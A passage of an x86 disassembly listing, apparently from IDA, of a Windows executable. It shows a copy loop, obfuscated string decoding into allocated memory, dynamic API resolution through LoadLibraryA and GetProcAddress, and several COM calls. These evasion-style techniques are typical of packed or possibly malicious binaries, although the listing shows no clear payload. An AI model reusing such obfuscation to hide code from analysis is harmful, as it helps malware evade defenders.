[ebp+var_8], ebx loc_50271C: ; CODE XREF: sub_5023E9+26Aj cmp [ebp+var_8], 0 jz short loc_50274F inc edi inc edi loc_502724: ; CODE XREF: sub_5023E9+358j mov ecx, [ebp+arg_C] mov eax, [ebp+arg_1C] mov edx, ecx sub edx, [ebp+var_8] mov bl, [edx+eax] mov [ecx+eax], bl inc ecx dec edi mov [ebp+arg_C], ecx test edi, edi jle short loc_502743 cmp ecx, [ebp+arg_20] jb short loc_502724 loc_502743: ; CODE XREF: sub_5023E9+1F2j ; sub_5023E9+353j mov eax, [ebp+arg_C] cmp eax, [ebp+arg_20] jb loc_5024AA loc_50274F: ; CODE XREF: sub_5023E9+BBj ; sub_5023E9+337j mov ecx, [ebp+arg_24] mov eax, [ebp+arg_C] pop edi pop esi mov [ecx], eax xor eax, eax pop ebx leave retn sub_5023E9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_50275E proc near ; CODE XREF: start+20Ap var_48 = byte ptr -48h var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 48h push ebx push esi push edi xor ebx, ebx push 0Eh mov [ebp+var_14], ebx mov [ebp+var_10], ebx mov [ebp+var_C], ebx mov [ebp+var_4], ebx mov [ebp+var_8], ebx call sub_502A51 mov edi, ds:dword_5010F8 pop ecx push eax call edi ; LoadLibraryA push 11h mov [ebp+var_18], eax call sub_502A51 mov esi, ds:dword_5010E0 pop ecx push eax push [ebp+var_18] call esi ; GetProcAddress push 12h mov [ebp+var_1C], eax call sub_502A51 pop ecx push eax push [ebp+var_18] call esi ; GetProcAddress push 0Fh mov [ebp+var_38], eax call sub_502A51 pop ecx push eax call edi ; LoadLibraryA push 13h mov [ebp+var_34], eax call sub_502A51 pop ecx push eax push [ebp+var_34] call esi ; GetProcAddress push 10h mov [ebp+var_18], eax call sub_502A51 pop ecx push eax call edi ; LoadLibraryA mov edi, eax push 19Bh push edi call esi ; GetProcAddress push 17h push edi mov [ebp+var_20], eax call esi ; GetProcAddress push 18h push edi mov [ebp+var_24], eax call esi ; GetProcAddress push 8 push edi mov [ebp+var_2C], eax call esi ; GetProcAddress push 10h push edi mov [ebp+var_30], eax call esi ; GetProcAddress cmp [ebp+var_1C], ebx mov [ebp+var_34], eax jz loc_502A08 cmp [ebp+var_38], ebx jz loc_502A08 cmp [ebp+var_18], ebx jz loc_502A08 cmp [ebp+var_20], ebx jz loc_502A08 cmp [ebp+var_24], ebx jz loc_502A08 cmp [ebp+var_2C], ebx jz loc_502A08 cmp [ebp+var_30], ebx jz loc_502A08 cmp eax, ebx jz loc_502A08 push ebx call [ebp+var_1C] mov esi, eax cmp esi, ebx jl loc_50296C lea eax, [ebp+var_4] push eax push offset loc_5011F0 push (offset loc_5011FD+3) push 2 push offset aWks ; "wks" push ebx call [ebp+var_18] mov esi, eax cmp esi, ebx jl loc_50296C mov eax, [ebp+var_4] push eax mov ecx, [eax] call dword ptr [ecx+28h] mov esi, eax cmp esi, ebx jl loc_50296C mov eax, [ebp+var_4] lea edx, [ebp+var_8] push edx push eax mov ecx, [eax] call dword ptr [ecx+34h] mov esi, eax mov eax, [ebp+var_8] cmp esi, ebx jl loc_50296F mov ecx, [eax] lea edx, [ebp+var_14] push edx push offset dword_501048 push eax call dword ptr [ecx] mov esi, eax cmp esi, ebx jl loc_50296C push [ebp+arg_4] push ebx push 11h call [ebp+var_20] cmp eax, ebx mov [ebp+var_18], eax jz loc_502A08 lea ecx, [ebp+var_28] mov [ebp+var_28], ebx push ecx push eax call [ebp+var_24] mov esi, eax cmp esi, ebx jl short loc_502963 mov ecx, [ebp+arg_4] mov esi, [ebp+arg_0] mov edi, [ebp+var_28] mov eax, ecx shr ecx, 2 rep movsd push [ebp+var_18] mov ecx, eax and ecx, 3 rep movsb call [ebp+var_2C] mov esi, eax cmp esi, ebx jl short loc_502963 mov eax, [ebp+var_14] lea edx, [ebp+var_10] push edx push [ebp+var_18] mov ecx, [eax] push eax call dword ptr [ecx+0B4h] mov esi, eax cmp esi, ebx jl short loc_502963 mov eax, [ebp+var_10] lea edx, [ebp+var_C] push edx push eax mov ecx, [eax] call dword ptr [ecx+40h] mov esi, eax cmp esi, ebx jl short loc_502963 lea eax, [ebp+var_48] push eax call [ebp+var_30] push ebx push ebx sub esp, 10h lea esi, [ebp+var_48] mov edi, esp mov eax, [ebp+var_C] movsd mov ecx, [eax] push eax movsd movsd movsd call dword ptr [ecx+94h] mov esi, eax cmp esi, ebx jge short loc_5029B4 loc_502963: ; CODE XREF: sub_50275E+18Dj ; sub_50275E+1B0j ... push [ebp+var_18] call [ebp+var_34] call [ebp+var_38] loc_50296C: ; CODE XREF: sub_50275E+FCj ; sub_50275E+11Fj ... mov eax, [ebp+var_8] loc_50296F: ; CODE XREF: sub_50275E+14Cj ; sub_50275E+266j cmp eax, ebx jz short loc_502979 mov ecx, [eax] push eax call dword ptr [ecx+8] loc_502979: ; CODE XREF: sub_50275E+213j mov eax, [ebp+var_4] cmp eax, ebx jz short loc_502986 mov ecx, [eax] push eax call dword ptr [ecx+8] loc_502986: ; CODE XREF: sub_50275E+220j mov eax, [ebp+var_C] cmp eax, ebx jz short loc_502993 mov ecx, [eax] push eax call dword ptr [ecx+8] loc_502993: ; CODE XREF: sub_50275E+22Dj mov eax, [ebp+var_10] cmp eax, ebx jz short loc_5029A0 mov ecx, [eax] push eax call dword ptr [ecx+8] loc_5029A0: ; CODE XREF: sub_50275E+23Aj mov eax, [ebp+var_14] cmp eax, ebx jz short loc_5029AD mov ecx, [eax] push eax call dword ptr [ecx+8] loc_5029AD: ; CODE XREF: sub_50275E+247j mov eax, esi jmp loc_502A4C ; --------------------------------------------------------------------------- loc_5029B4: ; CODE XREF: sub_50275E+203j mov eax, [ebp+var_4] push eax mov ecx, [eax] call dword ptr [ecx+2Ch] mov esi, eax mov eax, [ebp+var_8] cmp esi, ebx jl short loc_50296F cmp eax, ebx jz short loc_5029D0 mov ecx, [eax] push eax call dword ptr [ecx+8] loc_5029D0: ; CODE XREF: sub_50275E+26Aj mov eax, [ebp+var_4] cmp eax, ebx jz short loc_5029DD mov ecx, [eax] push eax call dword ptr [ecx+8] loc_5029DD: ; CODE XREF: sub_50275E+277j mov eax, [ebp+var_C] cmp eax, ebx jz short loc_5029EA mov ecx, [eax] push eax call dword ptr [ecx+8] loc_5029EA: ; CODE XREF: sub_50275E+284j mov eax, [ebp+var_10] cmp eax, ebx jz short loc_5029F7 mov ecx, [eax] push eax call dword ptr [ecx+8] loc_5029F7: ; CODE XREF: sub_50275E+291j mov eax, [ebp+var_14] cmp eax, ebx jz short loc_502A04 mov ecx, [eax] push eax call dword ptr [ecx+8] loc_502A04: ; CODE XREF: sub_50275E+29Ej xor eax, eax jmp short loc_502A4C ; --------------------------------------------------------------------------- loc_502A08: ; CODE XREF: sub_50275E+B0j ; sub_50275E+B9j ... mov eax, [ebp+var_8] cmp eax, ebx jz short loc_502A15 mov ecx, [eax] push eax call dword ptr [ecx+8] loc_502A15: ; CODE XREF: sub_50275E+2AFj mov eax, [ebp+var_4] cmp eax, ebx jz short loc_502A22 mov ecx, [eax] push eax call dword ptr [ecx+8] loc_502A22: ; CODE XREF: sub_50275E+2BCj mov eax, [ebp+var_C] cmp eax, ebx jz short loc_502A2F mov ecx, [eax] push eax call dword ptr [ecx+8] loc_502A2F: ; CODE XREF: sub_50275E+2C9j mov eax, [ebp+var_10] cmp eax, ebx jz short loc_502A3C mov ecx, [eax] push eax call dword ptr [ecx+8] loc_502A3C: ; CODE XREF: sub_50275E+2D6j mov eax, [ebp+var_14] cmp eax, ebx jz short loc_502A49 mov ecx, [eax] push eax call dword ptr [ecx+8] loc_502A49: ; CODE XREF: sub_50275E+2E3j or eax, 0FFFFFFFFh loc_502A4C: ; CODE XREF: sub_50275E+251j ; sub_50275E+2A8j pop edi pop esi pop ebx leave retn sub_50275E endp ; =============== S U B R O U T I N E ======================================= sub_502A51 proc near ; CODE XREF: start+C6p start+CFp ... arg_0 = dword ptr 4 mov eax, ds:dword_501030 test eax, eax jnz short loc_502A72 push 4 push 1000h push 1E9h push eax call ds:dword_5010D8 ; VirtualAlloc mov ds:dword_501030, eax loc_502A72: ; CODE XREF: sub_502A51+7j push esi push eax push 158h push offset dword_501210 call sub_501368 mov esi, [esp+10h+arg_0] mov edx, ds:dword_501030 add esp, 0Ch test esi, esi jle short loc_502AA9 push edi loc_502A95: ; CODE XREF: sub_502A51+55j mov edi, edx or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx dec esi lea edx, [edx+ecx+1] jnz short loc_502A95 pop edi loc_502AA9: ; CODE XREF: sub_502A51+41j mov eax, edx pop esi retn sub_502A51 endp ; --------------------------------------------------------------------------- align 10h dword_502AB0 dd 0F4h, 0Dh dup(0) dd 0E5000h, 1A040h, 400h, 0E6000h, 1AB00h, 1, 101450h dd 400000h, 10Eh, 0E0000h, 0E1000h, 1, 0 dd 1, 0 dd 4CC70h, 4, 1, 400h, 33000h, 1000h, 32FD3h, 60000020h dd 1, 400h, 2600h, 34000h, 2530h, 40000040h, 1, 400h, 11A00h dd 37000h, 0A869Dh, 0C0000040h, 1, 400h, 1000h, 0E0000h dd 0EDCh, 0C0000040h, 6 dup(0) _ex_cod ends ; Section 4. (virtual address 00103000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 00102C00 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 503000h align 2000h _idata2 ends end start